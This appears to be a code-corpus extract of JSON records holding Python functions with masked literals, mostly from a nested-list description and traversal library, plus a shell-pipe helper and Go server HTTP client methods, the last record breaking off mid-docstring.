{"signature": "def _init_unhandled(l,inited_matrix):", "body": "root_desc = inited_matrix[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>unhandled = {'<STR_LIT:data>':[],'<STR_LIT>':[]}<EOL>length = l.__len__()<EOL>root_desc['<STR_LIT>'] = length<EOL>root_desc['<STR_LIT>'] = []<EOL>root_desc['<STR_LIT>'] = []    <EOL>if(length == <NUM_LIT:0>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>inited_matrix.append([])<EOL>level = inited_matrix[<NUM_LIT:1>]<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>child = l[i]<EOL>desc = copy.deepcopy(root_desc)<EOL>desc = reset_parent_desc_template(desc)<EOL>desc['<STR_LIT>'] = <NUM_LIT:1><EOL>desc['<STR_LIT>'] = i<EOL>desc['<STR_LIT>'] = copy.deepcopy(desc['<STR_LIT>'])<EOL>desc['<STR_LIT>'].append(i)<EOL>desc['<STR_LIT>'] = i<EOL>desc['<STR_LIT>'] = copy.deepcopy(desc['<STR_LIT:path>'])<EOL>desc['<STR_LIT:path>'].append(i)<EOL>if(i==<NUM_LIT:0>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>desc['<STR_LIT>'] = [i-<NUM_LIT:1>]<EOL><DEDENT>if(i == (length - <NUM_LIT:1>)):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>desc['<STR_LIT>'] = [i+<NUM_LIT:1>]<EOL><DEDENT>if(is_leaf(child)):<EOL><INDENT>desc['<STR_LIT>'] = True<EOL>desc['<STR_LIT>'] = <NUM_LIT:0><EOL>root_desc['<STR_LIT>'].append(copy.deepcopy(desc['<STR_LIT:path>']))<EOL><DEDENT>else:<EOL><INDENT>desc['<STR_LIT>'] = False<EOL>root_desc['<STR_LIT>'].append(copy.deepcopy(desc['<STR_LIT:path>']))<EOL>unhandled['<STR_LIT:data>'].append(child)<EOL>unhandled['<STR_LIT>'].append(desc)<EOL><DEDENT>level.append(desc)<EOL><DEDENT><DEDENT>return(unhandled)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\nl = [1,[4],2,[3,[5,6]]]\ndesc_matrix = init_desc_matrix(l)\nunhandled = _init_unhandled(l,desc_matrix)\nunhandled_data = unhandled['data']\nunhandled_desc = unhandled['desc']\nunhandled_data[0]\nunhandled_desc[0]\nunhandled_data[1]\nunhandled_desc[1]", "id": "f1599:m234"}
{"signature": "def update_desc_lsib_path(desc):", "body": "if(desc['<STR_LIT>']><NUM_LIT:0>):<EOL><INDENT>lsib_path = copy.deepcopy(desc['<STR_LIT:path>'])<EOL>lsib_path[-<NUM_LIT:1>] = desc['<STR_LIT>']-<NUM_LIT:1><EOL>desc['<STR_LIT>'] = lsib_path<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(desc)<EOL>", "docstring": "leftSibling\npreviousSibling\nleftSib\nprevSib\nlsib\npsib\n\nhave the same parent,and on the left", "id": "f1599:m235"}
{"signature": "def update_desc_rsib_path(desc,sibs_len):", "body": "if(desc['<STR_LIT>']<(sibs_len-<NUM_LIT:1>)):<EOL><INDENT>rsib_path = copy.deepcopy(desc['<STR_LIT:path>'])<EOL>rsib_path[-<NUM_LIT:1>] = desc['<STR_LIT>']+<NUM_LIT:1><EOL>desc['<STR_LIT>'] = rsib_path<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(desc)<EOL>", "docstring": "rightSibling\nnextSibling\nrightSib\nnextSib\nrsib\nnsib\n\nhave the same parent,and on the right", "id": "f1599:m236"}
{"signature": "def update_desc_lcin_path(desc,pdesc_level):", "body": "parent_breadth = desc['<STR_LIT>'][-<NUM_LIT:1>]<EOL>if(desc['<STR_LIT>']==<NUM_LIT:0>):<EOL><INDENT>if(parent_breadth==<NUM_LIT:0>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>parent_lsib_breadth = parent_breadth - <NUM_LIT:1><EOL>plsib_desc = pdesc_level[parent_lsib_breadth]<EOL>if(plsib_desc['<STR_LIT>']):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>lcin_path = copy.deepcopy(plsib_desc['<STR_LIT:path>'])<EOL>lcin_path.append(plsib_desc['<STR_LIT>'] - <NUM_LIT:1>)<EOL>desc['<STR_LIT>'] = lcin_path<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(desc)<EOL>", "docstring": "leftCousin\npreviousCousin\nleftCin\nprevCin\nlcin\npcin\n\nparents are neighbors,and on the left", "id": "f1599:m237"}
{"signature": "def update_desc_rcin_path(desc,sibs_len,pdesc_level):", "body": "psibs_len = pdesc_level.__len__()<EOL>parent_breadth = desc['<STR_LIT>'][-<NUM_LIT:1>]<EOL>if(desc['<STR_LIT>']==(sibs_len - <NUM_LIT:1>)):<EOL><INDENT>if(parent_breadth==(psibs_len -<NUM_LIT:1>)):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>parent_rsib_breadth = parent_breadth + <NUM_LIT:1><EOL>prsib_desc = pdesc_level[parent_rsib_breadth]<EOL>if(prsib_desc['<STR_LIT>']):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>rcin_path = copy.deepcopy(prsib_desc['<STR_LIT:path>'])<EOL>rcin_path.append(<NUM_LIT:0>)<EOL>desc['<STR_LIT>'] = rcin_path<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(desc)<EOL>", "docstring": "rightCousin\nnextCousin\nrightCin\nnextCin\nrcin\nncin\n\nparents are neighbors,and on the right", "id": "f1599:m238"}
{"signature": "def scan(l,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>itermode = True<EOL><DEDENT>else:<EOL><INDENT>itermode = False<EOL><DEDENT>desc_matrix = init_desc_matrix(l)<EOL>if(desc_matrix[<NUM_LIT:0>][<NUM_LIT:0>]['<STR_LIT>'] == True):<EOL><INDENT>return(desc_matrix)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>lcache=LevelCache(datas=l,descs=desc_matrix[<NUM_LIT:0>][<NUM_LIT:0>])<EOL>scache=StateCache(desc_matrix)<EOL>pcache = init_pcache_handler_inline(kwargs)<EOL>while(lcache.data.__len__() > <NUM_LIT:0>):<EOL><INDENT>scache.update()<EOL>for unhandled_seq in range(<NUM_LIT:0>,lcache.data.__len__()):<EOL><INDENT>pcache.update_pdesc(lcache,unhandled_seq)<EOL>for sib_seq in range(<NUM_LIT:0>,pcache.sibs_len):<EOL><INDENT>pcache.update_desc(lcache,scache,sib_seq)<EOL><DEDENT><DEDENT>lcache.update()<EOL><DEDENT>return(desc_matrix)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\nl = [1,[4],2,[3,[5,6]]]\ndesc = description(l)\nl = [1,2,[4],[3,[5,6]]]\ndesc = description(l)", "id": "f1599:m239"}
{"signature": "def fullfill_descendants_info(desc_matrix):", "body": "pathloc_mapping = {}<EOL>locpath_mapping = {}<EOL>def leaf_handler(desc,pdesc):<EOL><INDENT>desc['<STR_LIT>'] = []<EOL>desc['<STR_LIT>'] = []<EOL>desc['<STR_LIT>'] = []<EOL>desc['<STR_LIT>'] = []<EOL>desc['<STR_LIT>'] = <NUM_LIT:1><EOL>if(pdesc['<STR_LIT>']):<EOL><INDENT>pdesc['<STR_LIT>'] = pdesc['<STR_LIT>'] + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>pdesc['<STR_LIT>'] = <NUM_LIT:1><EOL><DEDENT><DEDENT>def non_leaf_handler(desc,pdesc):<EOL><INDENT>pdesc['<STR_LIT>'].extend(copy.deepcopy(desc['<STR_LIT>']))<EOL>pdesc['<STR_LIT>'].extend(copy.deepcopy(desc['<STR_LIT>']))<EOL>if(pdesc['<STR_LIT>']):<EOL><INDENT>pdesc['<STR_LIT>'] = pdesc['<STR_LIT>'] + desc['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>pdesc['<STR_LIT>'] = desc['<STR_LIT>']<EOL><DEDENT><DEDENT>def fill_path_mapping(desc):<EOL><INDENT>pmk = tuple(desc['<STR_LIT:path>'])<EOL>pmv = tuple(DescMatrix.loc(desc))<EOL>pathloc_mapping[pmk] = pmv<EOL>locpath_mapping[pmv] = pmk<EOL><DEDENT>dm = DescMatrix(desc_matrix)<EOL>depth = desc_matrix.__len__()<EOL>desc_level = desc_matrix[depth - <NUM_LIT:1>]<EOL>length = desc_level.__len__()<EOL>for j in range(length - <NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>desc = desc_level[j]<EOL>fill_path_mapping(desc)<EOL>pdesc = dm.pdesc(desc)<EOL>leaf_handler(desc,pdesc)<EOL><DEDENT>for i in range(depth-<NUM_LIT:2>,<NUM_LIT:0>,-<NUM_LIT:1>):<EOL><INDENT>desc_level = desc_matrix[i]<EOL>length = desc_level.__len__()<EOL>for j in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>desc = desc_level[j]<EOL>fill_path_mapping(desc)<EOL>pdesc = dm.pdesc(desc)<EOL>if(desc['<STR_LIT>']):<EOL><INDENT>leaf_handler(desc,pdesc)<EOL><DEDENT>else:<EOL><INDENT>non_leaf_handler(desc,pdesc)<EOL><DEDENT><DEDENT><DEDENT>desc_matrix[<NUM_LIT:0>][<NUM_LIT:0>]['<STR_LIT>'] = (<NUM_LIT:0>,desc_matrix[<NUM_LIT:0>][<NUM_LIT:0>]['<STR_LIT>'])<EOL>for i in range(<NUM_LIT:0>,depth-<NUM_LIT:1>):<EOL><INDENT>pdesc_level = desc_matrix[i]<EOL>length = pdesc_level.__len__()<EOL>for j in range(<NUM_LIT:0>,length):<EOL><INDENT>pdesc = pdesc_level[j]<EOL>si = pdesc['<STR_LIT>'][<NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:0>,pdesc['<STR_LIT>']):<EOL><INDENT>spl = append(pdesc['<STR_LIT:path>'],i,mode='<STR_LIT>')<EOL>pk = tuple(spl)<EOL>locx,locy = pathloc_mapping[pk]<EOL>son = desc_matrix[locx][locy]<EOL>ei = si + son['<STR_LIT>']<EOL>son['<STR_LIT>'] = (si,ei)<EOL>si = ei<EOL><DEDENT><DEDENT><DEDENT>return(desc_matrix,pathloc_mapping,locpath_mapping)<EOL>", "docstring": "flat_offset", "id": "f1599:m240"}
{"signature": "def pathlist_to_getStr(path_list):", "body": "t1 = path_list.__repr__()<EOL>t1 = t1.lstrip('<STR_LIT:[>')<EOL>t1 = t1.rstrip('<STR_LIT:]>')<EOL>t2 = t1.split(\"<STR_LIT:U+002CU+0020>\")<EOL>s = '<STR_LIT>'<EOL>for i in range(<NUM_LIT:0>,t2.__len__()):<EOL><INDENT>s = '<STR_LIT>'.join((s,'<STR_LIT:[>',t2[i],'<STR_LIT:]>'))<EOL><DEDENT>return(s)<EOL>", "docstring": ">>> pathlist_to_getStr([1, '1', 2])\n    \"[1]['1'][2]\"\n>>>", "id": "f1599:m241"}
{"signature": "def getStr_to_pathlist(gs):", "body": "def numize(w):<EOL><INDENT>try:<EOL><INDENT>int(w)<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>float(w)<EOL><DEDENT>except:<EOL><INDENT>return(w)<EOL><DEDENT>else:<EOL><INDENT>return(float(w))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return(int(w))<EOL><DEDENT><DEDENT>def strip_quote(w):<EOL><INDENT>if(type(w) == type('<STR_LIT>')):<EOL><INDENT>if(w[<NUM_LIT:0>]==w[-<NUM_LIT:1>]):<EOL><INDENT>if((w[<NUM_LIT:0>]==\"<STR_LIT:'>\") |(w[<NUM_LIT:0>]=='<STR_LIT:\">')):<EOL><INDENT>return(w[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>return(w)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return(w)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return(w)<EOL><DEDENT><DEDENT>gs = gs[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>pl = gs.split(\"<STR_LIT>\")<EOL>pl = array_map(pl,numize)<EOL>pl = array_map(pl,strip_quote)<EOL>return(pl)<EOL>", "docstring": "gs = \"[1]['1'][2]\"\ngetStr_to_pathlist(gs)\ngs = \"['u']['u1']\"\ngetStr_to_pathlist(gs)", "id": "f1599:m242"}
{"signature": "def get_block_op_pairs(pairs_str):", "body": "pairs_str_len = pairs_str.__len__()<EOL>pairs_len = pairs_str_len // <NUM_LIT:2><EOL>pairs_dict = {}<EOL>for i in range(<NUM_LIT:1>,pairs_len +<NUM_LIT:1>):<EOL><INDENT>pairs_dict[i] = pairs_str[i*<NUM_LIT:2>-<NUM_LIT:2>],pairs_str[i*<NUM_LIT:2>-<NUM_LIT:1>]<EOL><DEDENT>return(pairs_dict)<EOL>", "docstring": "# >>> get_block_op_pairs(\"{}[]\")  \n# {1: ('{', '}'), 2: ('[', ']')}\n# >>> get_block_op_pairs(\"{}[]()\")\n# {1: ('{', '}'), 2: ('[', ']'), 3: ('(', ')')}\n# >>> get_block_op_pairs(\"{}[]()<>\")\n# {1: ('{', '}'), 2: ('[', ']'), 3: ('(', ')'), 4: ('<', '>')}", "id": "f1599:m243"}
{"signature": "def is_lop(ch,block_op_pairs_dict=get_block_op_pairs('<STR_LIT>')):", "body": "for i in range(<NUM_LIT:1>,block_op_pairs_dict.__len__()+<NUM_LIT:1>):<EOL><INDENT>if(ch == block_op_pairs_dict[i][<NUM_LIT:0>]):<EOL><INDENT>return(True)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(False)<EOL>", "docstring": "# is_lop('{',block_op_pairs_dict)\n# is_lop('[',block_op_pairs_dict)\n# is_lop('}',block_op_pairs_dict)\n# is_lop(']',block_op_pairs_dict)\n# is_lop('a',block_op_pairs_dict)", "id": "f1599:m244"}
{"signature": "def is_rop(ch,block_op_pairs_dict=get_block_op_pairs('<STR_LIT>')):", "body": "for i in range(<NUM_LIT:1>,block_op_pairs_dict.__len__()+<NUM_LIT:1>):<EOL><INDENT>if(ch == block_op_pairs_dict[i][<NUM_LIT:1>]):<EOL><INDENT>return(True)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(False)<EOL>", "docstring": "# is_rop('{',block_op_pairs_dict)\n# is_rop('[',block_op_pairs_dict)\n# is_rop('}',block_op_pairs_dict)\n# is_rop(']',block_op_pairs_dict)\n# is_rop('a',block_op_pairs_dict)", "id": "f1599:m245"}
{"signature": "def get_next_char_level_in_j_str(curr_lv,curr_seq,j_str,block_op_pairs_dict=get_block_op_pairs(\"<STR_LIT>\")):", "body": "curr_ch = j_str[curr_seq]<EOL>next_ch = j_str[curr_seq + <NUM_LIT:1>]<EOL>cond = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:1>,block_op_pairs_dict.__len__()+<NUM_LIT:1>):<EOL><INDENT>if(curr_ch == block_op_pairs_dict[i][<NUM_LIT:0>]):<EOL><INDENT>if(next_ch == block_op_pairs_dict[i][<NUM_LIT:1>]):<EOL><INDENT>next_lv = curr_lv               <EOL><DEDENT>else:<EOL><INDENT>next_lv = curr_lv + <NUM_LIT:1><EOL><DEDENT>cond = <NUM_LIT:1><EOL>break<EOL><DEDENT>elif(curr_ch == block_op_pairs_dict[i][<NUM_LIT:1>]):<EOL><INDENT>if(is_rop(next_ch,block_op_pairs_dict)):<EOL><INDENT>next_lv = curr_lv - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>next_lv = curr_lv<EOL><DEDENT>cond = <NUM_LIT:1><EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(cond == <NUM_LIT:1>):<EOL><INDENT>pass<EOL><DEDENT>elif(is_rop(next_ch,block_op_pairs_dict)):<EOL><INDENT>next_lv = curr_lv - <NUM_LIT:1><EOL><DEDENT>else:    <EOL><INDENT>next_lv = curr_lv<EOL><DEDENT>curr_lv = next_lv<EOL>curr_seq = curr_seq + <NUM_LIT:1><EOL>return(curr_lv,curr_lv,curr_seq)<EOL>", "docstring": "the first-char is level-1\n        when current is  non-op, next-char-level = curr-level\n        when current is  lop,  non-paired-rop-next-char-level = lop-level+1;\n        when current is  lop,  paired-rop-next-char-level = lop-level\n        when current is  rop,  next-char-level = rop-level - 1\n        # {\"key_4_UF0aJJ6v\": \"value_1\", \"key_2_Hd0t\": [\"value_16\", \"value_8\", \"value_8\", \"value_15\", \"value_14\", \"value_19\", {......\n        # 122222222222222222222222222222222222222222222333333333333333333333333333333333333333333333333333333333333333333333334......\n        # {\\n\"key_4_UF0aJJ6v\": \"value_1\", \\n\"key_2_Hd0t\": [\\n\"value_16\", \\n\"value_8\", \\n\"value_8\", \\n\"value_15\", \\n\"value_14\", \\n\"value_19\",...... \n        # 1 222222222222222222222222222222 2222222222222222 3333333333333 333333333333 333333333333 3333333333333 3333333333333 3333333333333......", "id": "f1599:m246"}
{"signature": "def str_display_width(s):", "body": "s= str(s)<EOL>width = <NUM_LIT:0><EOL>len = s.__len__()<EOL>for i in range(<NUM_LIT:0>,len):<EOL><INDENT>sublen = s[i].encode().__len__()<EOL>sublen = int(sublen/<NUM_LIT:2> + <NUM_LIT:1>/<NUM_LIT:2>)<EOL>width = width + sublen<EOL><DEDENT>return(width)<EOL>", "docstring": "from elist.utils import *\nstr_display_width('a')\nstr_display_width('\u53bb')", "id": "f1599:m248"}
{"signature": "def matrix_map(mat,map_func,map_func_args=[]):", "body": "mmat = []<EOL>for i in range(<NUM_LIT:0>,mat.__len__()):<EOL><INDENT>level = mat[i]<EOL>mmat.append([])<EOL>for j in range(<NUM_LIT:0>,level.__len__()):<EOL><INDENT>value = level[j]<EOL>indexr = i<EOL>indexc = j<EOL>ele = map_func(value,indexr,indexc,*map_func_args)<EOL>mmat[i].append(ele)<EOL><DEDENT><DEDENT>return(mmat)<EOL>", "docstring": "mat = [\n    [1,2,3],\n    [4,5,6],\n    [7,8,9]\n]\n\ndef map_func(value,indexr,indexc,prefix,suffix):\n    msg = prefix + str((indexr,indexc)) + \" : \"+str(value) + suffix\n    return(msg)\n\nmmat = matrix_map(mat,map_func,map_func_args=[\"<\",\">\"])\n\nmmat", "id": "f1599:m252"}
{"signature": "def get_dfs(l):", "body": "ltree = ListTree(l)<EOL>dfs = ltree.tree()<EOL>return(dfs)<EOL>", "docstring": "l = ['v_7', 'v_3', 'v_1', 'v_4', ['v_4', 'v_2'], 'v_5', 'v_6', 'v_1', 'v_6', 'v_7', 'v_5', ['v_4', ['v_1', 'v_8', 'v_3', 'v_4', 'v_2', 'v_7', [['v_3', 'v_2'], 'v_4', 'v_5', 'v_1', 'v_3', 'v_1', 'v_2', 'v_5', 'v_8', 'v_8', 'v_7'], 'v_5', 'v_8', 'v_7', 'v_1', 'v_5'], 'v_6'], 'v_4', 'v_5', 'v_8', 'v_5']\ndfs = get_dfs(l)", "id": "f1599:m255"}
{"signature": "def get_wfsmat(l):", "body": "ltree = ListTree(l)<EOL>vdescmat = ltree.desc<EOL>wfsmat = matrix_map(vdescmat,lambda v,ix,iy:v['<STR_LIT:path>'])<EOL>wfsmat.pop(<NUM_LIT:0>)<EOL>return(wfsmat)<EOL>", "docstring": "l = ['v_7', 'v_3', 'v_1', 'v_4', ['v_4', 'v_2'], 'v_5', 'v_6', 'v_1', 'v_6', 'v_7', 'v_5', ['v_4', ['v_1', 'v_8', 'v_3', 'v_4', 'v_2', 'v_7', [['v_3', 'v_2'], 'v_4', 'v_5', 'v_1', 'v_3', 'v_1', 'v_2', 'v_5', 'v_8', 'v_8', 'v_7'], 'v_5', 'v_8', 'v_7', 'v_1', 'v_5'], 'v_6'], 'v_4', 'v_5', 'v_8', 'v_5']\nget_wfs(l)", "id": "f1599:m256"}
{"signature": "def wfs2mat(wfs):", "body": "wfsmat = []<EOL>depth = <NUM_LIT:0><EOL>level = filter(wfs,lambda ele:ele.__len__()==<NUM_LIT:1>)<EOL>while(level.__len__()><NUM_LIT:0>):<EOL><INDENT>wfsmat.append([])<EOL>wfsmat[depth] = level<EOL>depth = depth+<NUM_LIT:1><EOL>level = filter(wfs,lambda ele:ele.__len__()==depth+<NUM_LIT:1>)<EOL><DEDENT>return(wfsmat)<EOL>", "docstring": "wfs = [[0], [1], [2], [3], [4], [5], [6], [7], [8], [9], [10], [11], [12], [13], [14], [15], [4, 0], [4, 1], [11, 0], [11, 1], [11, 2], [11, 1, 0], [11, 1, 1], [11, 1, 2], [11, 1, 3], [11, 1, 4], [11, 1, 5], [11, 1, 6], [11, 1, 7], [11, 1, 8], [11, 1, 9], [11, 1, 10], [11, 1, 11], [11, 1, 6, 0], [11, 1, 6, 1], [11, 1, 6, 2], [11, 1, 6, 3], [11, 1, 6, 4], [11, 1, 6, 5], [11, 1, 6, 6], [11, 1, 6, 7], [11, 1, 6, 8], [11, 1, 6, 9], [11, 1, 6, 10], [11, 1, 6, 0, 0], [11, 1, 6, 0, 1]]", "id": "f1599:m258"}
{"signature": "def dfs2wfsmat(dfs):", "body": "wfsmat = []<EOL>depth = <NUM_LIT:0><EOL>level = filter(dfs,lambda ele:ele.__len__()==<NUM_LIT:1>)<EOL>while(level.__len__()><NUM_LIT:0>):<EOL><INDENT>wfsmat.append([])<EOL>wfsmat[depth] = level<EOL>depth = depth+<NUM_LIT:1><EOL>level = filter(dfs,lambda ele:ele.__len__()==depth+<NUM_LIT:1>)<EOL><DEDENT>return(wfsmat)<EOL>", "docstring": "dfs = [[0], [1], [2], [3], [4], [4, 0], [4, 1], [5], [6], [7], [8], [9], [10], [11], [11, 0], [11, 1], [11, 1, 0], [11, 1, 1], [11, 1, 2], [11, 1, 3], [11, 1, 4], [11, 1, 5], [11, 1, 6], [11, 1, 6, 0], [11, 1, 6, 0, 0], [11, 1, 6, 0, 1], [11, 1, 6, 1], [11, 1, 6, 2], [11, 1, 6, 3], [11, 1, 6, 4], [11, 1, 6, 5], [11, 1, 6, 6], [11, 1, 6, 7], [11, 1, 6, 8], [11, 1, 6, 9], [11, 1, 6, 10], [11, 1, 7], [11, 1, 8], [11, 1, 9], [11, 1, 10], [11, 1, 11], [11, 2], [12], [13], [14], [15]]\n\ndfs2wfs(dfs)", "id": "f1599:m260"}
{"signature": "def wfsmat2dfs(wfsmat):", "body": "dfs = mat2wfs(wfsmat)<EOL>dfs.sort()<EOL>return(dfs)<EOL>", "docstring": "wfs = [[[0], [1], [2], [3], [4], [5], [6], [7], [8], [9], [10], [11], [12], [13], [14], [15]], [[4, 0], [4, 1], [11, 0], [11, 1], [11, 2]], [[11, 1, 0], [11, 1, 1], [11, 1, 2], [11, 1, 3], [11, 1, 4], [11, 1, 5], [11, 1, 6], [11, 1, 7], [11, 1, 8], [11, 1, 9], [11, 1, 10], [11, 1, 11]], [[11, 1, 6, 0], [11, 1, 6, 1], [11, 1, 6, 2], [11, 1, 6, 3], [11, 1, 6, 4], [11, 1, 6, 5], [11, 1, 6, 6], [11, 1, 6, 7], [11, 1, 6, 8], [11, 1, 6, 9], [11, 1, 6, 10]], [[11, 1, 6, 0, 0], [11, 1, 6, 0, 1]]]\nwfs2dfs(wfs)", "id": "f1599:m261"}
{"signature": "def get_children_handler(self,*args):", "body": "return(self.pdata)<EOL>", "docstring": "list's children list is self", "id": "f1599:c2:m0"}
{"signature": "def parent_handler(self,lcache,i,*args):", "body": "pdesc = lcache.desc[i]<EOL>pdesc['<STR_LIT>'] = self.sibs_len<EOL>pdesc['<STR_LIT>'] = []<EOL>pdesc['<STR_LIT>'] = []<EOL>pdesc['<STR_LIT>'] = []<EOL>pdesc['<STR_LIT>'] = []<EOL>return(pdesc)<EOL>", "docstring": "_update_pdesc_sons_info", "id": "f1599:c2:m1"}
{"signature": "def child_begin_handler(self,scache,*args):", "body": "pdesc = self.pdesc<EOL>depth = scache.depth<EOL>sib_seq = self.sib_seq<EOL>sibs_len = self.sibs_len<EOL>pdesc_level = scache.pdesc_level<EOL>desc = copy.deepcopy(pdesc)<EOL>desc = reset_parent_desc_template(desc)<EOL>desc['<STR_LIT>'] = depth<EOL>desc['<STR_LIT>'] = copy.deepcopy(desc['<STR_LIT>'])<EOL>desc['<STR_LIT>'] = sib_seq<EOL>desc['<STR_LIT>'] = copy.deepcopy(desc['<STR_LIT:path>'])<EOL>desc['<STR_LIT:path>'].append(sib_seq)<EOL>update_desc_lsib_path(desc)<EOL>update_desc_rsib_path(desc,sibs_len)<EOL>if(depth == <NUM_LIT:1>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>update_desc_lcin_path(desc,pdesc_level)<EOL>update_desc_rcin_path(desc,sibs_len,pdesc_level)<EOL><DEDENT>return(desc)<EOL>", "docstring": "_creat_child_desc\nupdate depth,parent_breadth_path,parent_path,sib_seq,path,lsib_path,rsib_path,lcin_path,rcin_path", "id": "f1599:c2:m2"}
{"signature": "def leaf_handler(self,*args):", "body": "desc = self.desc<EOL>pdesc = self.pdesc<EOL>desc['<STR_LIT>'] = True<EOL>desc['<STR_LIT>'] = <NUM_LIT:0><EOL>pdesc['<STR_LIT>'].append(copy.deepcopy(desc['<STR_LIT:path>']))<EOL>pdesc['<STR_LIT>'].append(copy.deepcopy(desc['<STR_LIT:path>']))<EOL>", "docstring": "leaf child handler", "id": "f1599:c2:m3"}
{"signature": "def non_leaf_handler(self,lcache):", "body": "desc = self.desc<EOL>pdesc = self.pdesc<EOL>desc['<STR_LIT>'] = False<EOL>pdesc['<STR_LIT>'].append(copy.deepcopy(desc['<STR_LIT:path>']))<EOL>pdesc['<STR_LIT>'].append(copy.deepcopy(desc['<STR_LIT:path>']))<EOL>lcache.ndata.append(self.data)<EOL>lcache.ndesc.append(desc)<EOL>", "docstring": "nonleaf child handler", "id": "f1599:c2:m4"}
{"signature": "def child_end_handler(self,scache):", "body": "desc = self.desc<EOL>desc_level = scache.desc_level<EOL>breadth = desc_level.__len__()<EOL>desc['<STR_LIT>'] = breadth<EOL>desc['<STR_LIT>'].append(breadth)<EOL>desc_level.append(desc)<EOL>", "docstring": "_upgrade_breadth_info\nupdate breadth, breadth_path, and add desc to desc_level", "id": "f1599:c2:m5"}
{"signature": "def pipe_shell_cmds(shell_CMDs):", "body": "len = shell_CMDs.__len__()<EOL>p = {}<EOL>p[<NUM_LIT:1>] = subprocess.Popen(shlex.split(shell_CMDs[<NUM_LIT:1>]), stdout=subprocess.PIPE,stderr=subprocess.PIPE)<EOL>for i in range(<NUM_LIT:2>,len):<EOL><INDENT>p[i] = subprocess.Popen(shlex.split(shell_CMDs[i]), stdin=p[i-<NUM_LIT:1>].stdout, stdout=subprocess.PIPE,stderr=subprocess.PIPE)<EOL><DEDENT>if(len > <NUM_LIT:1>):<EOL><INDENT>p[len] = subprocess.Popen(shlex.split(shell_CMDs[len]), stdin=p[len-<NUM_LIT:1>].stdout, stdout=subprocess.PIPE,stderr=subprocess.PIPE)<EOL><DEDENT>result = p[len].communicate()<EOL>if(len > <NUM_LIT:1>):<EOL><INDENT>for i in range(<NUM_LIT:2>,len+<NUM_LIT:1>):<EOL><INDENT>returncode = p[i].wait()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>returncode = p[len].wait()<EOL><DEDENT>return(result)<EOL>", "docstring": "shell_CMDs = {}\nshell_CMDs[1] = 'netstat -n'\nshell_CMDs[2] = \"awk {'print $6'}\"", "id": "f1601:m0"}
{"signature": "def get(self, path):", "body": "return self.request(path)<EOL>", "docstring": "Performs a HTTP GET request to the Go server\n\n        Args:\n          path (str): The full path on the Go server to request.\n            This includes any query string attributes.\n\n        Raises:\n          HTTPError: when the HTTP request fails.\n\n        Returns:\n          file like object: The response from a\n            :func:`urllib2.urlopen` call", "id": "f1613:c1:m1"}
{"signature": "def post(self, path, **post_args):", "body": "return self.request(path, data=post_args or {})<EOL>", "docstring": "Performs a HTTP POST request to the Go server\n\n        Args:\n          path (str): The full path on the Go server to request.\n            This includes any query string attributes.\n          **post_args: Any POST arguments that should be sent to the server\n\n        Raises:\n          HTTPError: when the HTTP request fails.\n\n        Returns:\n          file like object: The response from a\n            :func:`urllib2.urlopen` call", "id": "f1613:c1:m2"}
{"signature": "def request(self, path, data=None, headers=None, method=None):", "body": "if isinstance(data, str):<EOL><INDENT>data = data.encode('<STR_LIT:utf-8>')<EOL><DEDENT>response = urlopen(self._request(path, data=data, headers=headers, method=method))<EOL>self._set_session_cookie(response)<EOL>return response<EOL>", "docstring": "Performs a HTTP request to the Go server\n\n        Args:\n          path (str): The full path on the Go server to request.\n            This includes any query string attributes.\n          data (str, dict, bool, optional): If any data is present this\n            request will become a POST request.\n          headers (dict, optional): Headers to set for this particular\n            request\n\n        Raises:\n          HTTPError: when the HTTP request fails.\n\n        Returns:\n          file like object: The response from a\n            :func:`urllib2.urlopen` call", "id": "f1613:c1:m3"}
{"signature": "def add_logged_in_session(self, response=None):", "body": "if not response:<EOL><INDENT>response = self.get('<STR_LIT>')<EOL><DEDENT>self._set_session_cookie(response)<EOL>if not self._session_id:<EOL><INDENT>raise AuthenticationFailed('<STR_LIT>')<EOL><DEDENT>response = self.get('<STR_LIT>')<EOL>match = re.search(<EOL>r'<STR_LIT>',<EOL>response.read().decode('<STR_LIT:utf-8>')<EOL>)<EOL>if match:<EOL><INDENT>self._authenticity_token = match.group(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise AuthenticationFailed('<STR_LIT>')<EOL><DEDENT>", "docstring": "Make the request appear to be coming from a browser\n\n        This is to interact with older parts of Go that doesn't have a\n        proper API call to be made. What will be done:\n\n        1. If no response passed 